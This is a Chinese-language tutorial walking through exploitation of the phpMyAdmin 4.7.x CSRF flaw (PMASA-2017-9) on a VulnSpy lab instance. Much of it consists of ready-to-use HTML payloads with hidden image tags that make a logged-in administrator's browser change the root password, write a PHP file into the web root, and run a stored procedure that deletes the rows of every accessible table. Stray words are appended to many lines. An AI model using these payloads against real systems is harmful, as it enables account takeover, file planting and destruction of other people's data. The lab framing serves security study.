phpMyAdmin 4.7.x CSRF 漏洞利用

phpMyAdmin 4.7.x CSRF 漏洞利用

phpMyAdmin

phpMyAdmin是一個以PHP(一種開源腳本語言)爲基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。藉由此Web接口能夠成爲一個簡易方式輸入繁雜SQL語法的較佳途徑,尤爲要處理大量資料的匯入及匯出更爲方便。其中一個更大的優點在於因爲phpMyAdmin跟其餘PHP程式同樣在網頁服務器上執行,可是您能夠在任何地方使用這些程式產生的HTML頁面,也就是於遠端管理MySQL數據庫,方便的創建、修改、刪除數據庫及資料表。也可藉由phpMyAdmin創建經常使用的php語法,方便編寫網頁時所須要的sql語法正確性php


CSRF(PMASA-2017-9)漏洞

phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者能夠經過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。html

咱們能夠結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。mysql


過程

在線 phpMyAdmin CSRF
(PS:注:重啓演示靶機便可重置靶機)git

1.在線建立 phpMyAdmin 環境

點擊 建立VulnSpy 提供的建立靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)github

跳轉到 VSPlate 後,直接點擊GO按鈕,便會自動建立一個 phpMyAdmin 環境sql

打開演示地址的連接,咱們的 phpMyAdmin 就建立完成了。數據庫

使用賬號 root ,密碼 toor ,登陸 phpMyAdmin 。根據頁面信息,咱們能夠發現當前 phpMyAdmin 的版本爲 4.7.6,恰好匹配存在漏洞的 phpMyAdmin 版本。
瀏覽器

2.CSRF 漏洞利用 - 修改當前數據庫用戶密碼

若是要利用CSRF來刪除或修改數據庫內容,通查狀況下須要提早知道數據庫名、表名和字段名。這樣利用顯得有點複雜,成功率也有限,所以我作了兩個幾種較爲通用的利用方式。服務器

在MySQL中支持使用SQL語句來修改當前用戶密碼。好比將當前用戶密碼修改成www.vulnspy.com,對應的SQL語句爲:架構

SET passsword=PASSWORD('www.vulnspy.com');

演示:

2.1模擬管理員登陸phpMyAdmin的狀態

用賬號 root 密碼 toor 登陸 phpMyAdmin 。

2.2 建立含有惡意代碼的頁面。

首先創建一個html文件:vi 2.payload.html

簡單一點就只讓他顯示helloworld吧,由於目的是讓他打開,內容不重要。
代碼以下:

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
2.3 用瀏覽器打開含有惡意代碼的文件 2.payload.html

緊接着咱們回到2.1中打開的界面,發現已自動退出,並且用原來的密碼 toor 已經沒法登陸

2.4 使用密碼 www.vulnspy.com 登陸成功,代表利用成功

3.CSRF 漏洞利用 - 寫文件

MySQL支持將查詢結果寫到文件當中,咱們能夠利用該特性來寫入++PHP++文件。好比將代碼<?php phpinfo();?>寫到文件/var/www/html/test.php中,對應的SQL語句爲:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';

演示:

3.1 修改代碼
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
3.2 用瀏覽器打開含有惡意代碼的文件
3.3 訪問 test.php

4 CSRF 漏洞利用 - 清空全部數據表

如何作到大範圍破壞,併產生直接影響呢,咱們能夠利用SQL語句來清空當前MySQL用戶可操做的全部數據表。
1)獲取數據名和表名

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1

2)將其拼接成刪除語句,經過 execute 來執行生成的刪除語句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
prepare stmt from @del;
execute stmt;

3)execute 一次只能執行一條SQL語句,所以咱們能夠利用循環語句來逐一執行

DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
    CREATE PROCEDURE EMPT()
    BEGIN
        DECLARE i INT;
        SET i = 0;
        WHILE i < 100 DO
            SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
            PREPARE STMT FROM @del;
            EXECUTE STMT;
            SET i = i +1;
        END WHILE;
    END $$
DELIMITER ;
CALL EMPT();

演示:

4.1 payload以下
<p>Hello World</p>
<img src="虛擬地址/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
4.2 用瀏覽器打開含有惡意代碼的文件
4.3 回到 phpMyAdmin 中查看數據

哎??咱們發現:數據庫vulnspy_tables和數據庫vulnspy_test中的數據已經被清空。

相關文章
相關標籤/搜索